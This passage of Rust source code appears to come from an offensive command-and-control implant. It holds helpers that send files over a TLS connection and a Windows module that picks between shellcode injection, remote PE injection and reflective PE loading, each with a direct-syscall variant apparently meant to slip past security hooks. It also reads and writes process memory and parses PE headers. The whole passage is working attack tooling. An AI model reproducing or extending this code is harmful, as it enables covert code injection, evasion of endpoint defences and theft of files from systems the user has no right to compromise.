break; } else { bytes_vec.extend_from_slice(file_buffer); for elem in file_buffer.iter_mut() { *elem = 0; } tls_stream.read(file_buffer)?; } } Ok(()) } pub fn read_and_send_file( mut file: File, stream: &mut native_tls::TlsStream, ) -> Result<(), Box> { let mut buff = [0; 4096]; loop { match file.read(&mut buff) { Ok(bytes_read) => { if bytes_read == 0 { let end_of_file = "EndOfTheFile:".to_owned() + &file.metadata()?.len().to_string(); stream.write_all(end_of_file.as_bytes())?; break; } stream.write_all(&buff[..bytes_read])?; } Err(r) => { log::error!("Error reading the file : {}", r); stream.flush()?; return Err(Box::new(r)); } } } Ok(()) } ================================================ FILE: src/utils/tools_windows.rs ================================================ #![cfg(target_family = "windows")] use std::error::Error; use std::ffi::c_void; use std::fs::File; use std::io::Read; use winapi::shared::ntdef::NULL; use windows_sys::Win32::System::{ Diagnostics::Debug::{ReadProcessMemory, WriteProcessMemory}, Threading::GetCurrentProcess, }; use syscalls::syscall; use crate::loader::{reflective_loader, remote_loader, shellcode_loader}; use crate::loader_syscalls::{ reflective_loader_syscalls, remote_loader_syscalls, shellcode_loader_syscalls, }; pub fn fill_structure_from_array(base: &mut T, arr: &[U], syscalls_value: bool) -> usize { unsafe { let mut ret_byte = 0; if syscalls_value { syscall!( "NtWriteVirtualMemory", GetCurrentProcess(), base as *mut T as *mut c_void, arr as *const _ as *mut c_void, std::mem::size_of::(), &mut ret_byte ); } else { WriteProcessMemory( GetCurrentProcess(), base as *mut T as *mut c_void, arr as *const _ as *const c_void, std::mem::size_of::(), &mut ret_byte, ); } return ret_byte; } } pub fn fill_structure_from_memory( struct_to_fill: &mut T, base: *const c_void, prochandle: *mut c_void, syscalls_value: bool, ) { unsafe { let mut buf: Vec = vec![0; std::mem::size_of::()]; if syscalls_value { syscall!( "NtReadVirtualMemory", prochandle, base as *mut c_void, buf.as_mut_ptr() as *mut c_void, std::mem::size_of::(), NULL ); } else { ReadProcessMemory( prochandle, base, buf.as_mut_ptr() as *mut c_void, std::mem::size_of::(), std::ptr::null_mut(), ); } fill_structure_from_array(struct_to_fill, &buf, syscalls_value); } } pub fn read_from_memory( base: *const c_void, prochandle: *mut c_void, syscalls_value: bool, ) -> String { let mut buf: Vec = vec![0; 100]; unsafe { if syscalls_value { syscall!( "NtReadVirtualMemory", prochandle, base as *mut c_void, buf.as_mut_ptr() as *mut c_void, buf.len(), NULL ); } else { ReadProcessMemory( prochandle, base, buf.as_mut_ptr() as *mut c_void, 100, std::ptr::null_mut(), ); } } let mut i = 0; let mut tmp: Vec = vec![0; 100]; while buf[i] != 0 { tmp[i] = buf[i]; i += 1; } log::debug!("{}", String::from_utf8_lossy(&tmp).to_string()); return String::from_utf8_lossy(&tmp).to_string(); } pub fn get_size(buffer: &Vec, struct_to_check: &str) -> usize { if buffer.len() < 2 { log::debug!("file size is less than 2"); return 0; } let magic = &buffer[0..2]; let magicstring = String::from_utf8_lossy(magic); if magicstring == "MZ" { if buffer.len() < 64 { log::debug!("file size is less than 64"); return 0; } let ntoffset = &buffer[60..64]; unsafe { let offset = std::ptr::read(ntoffset.as_ptr() as *const i32) as usize; let bitversion = &buffer[offset + 4 + 20..offset + 4 + 20 + 2]; let bit = std::ptr::read(bitversion.as_ptr() as *const u16); let index: usize; if bit == 523 { if struct_to_check == "header" { index = offset + 24 + 60; let headerssize = &buffer[index as usize..index as usize + 4]; let size = std::ptr::read(headerssize.as_ptr() as *const i32); log::debug!("size of headers: {:x?}", size); return size as usize; } else { index = offset + 24 + 60 - 4; let headerssize = &buffer[index as usize..index as usize + 4]; let size = std::ptr::read(headerssize.as_ptr() as *const i32); log::debug!("size of image: {:x?}", size); return size as usize; } } else if bit == 267 { if struct_to_check == "header" { index = offset + 24 + 60; let headerssize = &buffer[index as usize..index as usize + 4]; let size = std::ptr::read(headerssize.as_ptr() as *const i32); //println!("size of headers: {:x?}", size); return size as usize; } else { index = offset + 24 + 60 - 4; let headerssize = &buffer[index as usize..index as usize + 4]; let size = std::ptr::read(headerssize.as_ptr() as *const i32); log::debug!("size of image: {:x?}", size); return size as usize; } } else { log::debug!("invalid bit version"); return 0; } } } else { log::debug!("its not a pe file"); return 0; } } pub fn string_from_array(array: &mut Vec) -> String { let mut res = String::new(); for i in 0..array.len() { if array[i] == 0 { return res; } res.push(array[i] as char); } return res; } pub fn call_loader_shellcode( shellcode_to_load: Vec, pe_to_exec: &str, loader: u8, ) -> Result<(), Box> { match loader { 0 => match shellcode_loader_syscalls(shellcode_to_load, pe_to_exec) { Ok(rl) => rl, Err(_) => { return Err("Shellcode loading error".into()); } }, 1 => match shellcode_loader(shellcode_to_load, pe_to_exec) { Ok(rl) => rl, Err(_) => { return Err("Shellcode loading error".into()); } }, _ => log::debug!("Invalid loader ID"), } Ok(()) } pub fn call_loader_pe( file_to_load: &str, pe_to_exec: &str, loader: u8, ) -> Result<(), Box> { let mut buf: Vec = Vec::new(); let file = File::open(file_to_load.trim().replace("\\\\", "\\")); match file { Ok(mut f) => { f.read_to_end(&mut buf)?; match loader { 0 => match remote_loader(buf, pe_to_exec) { Ok(rl) => rl, Err(_) => { return Err("PE loading error".into()); } }, 1 => match remote_loader_syscalls(buf, pe_to_exec) { Ok(rl) => rl, Err(_) => { return Err("PE loading error".into()); } }, 2 => match reflective_loader(buf) { Ok(rl) => rl, Err(_) => { return Err("PE loading error".into()); } }, 3 => match reflective_loader_syscalls(buf) { Ok(rl) => rl, Err(_) => { return Err("PE loading error".into()); } }, _ => log::debug!("Invalid loader ID"), } } Err(_) => { return Err("Error openning file to load".into()); } }; Ok(()) }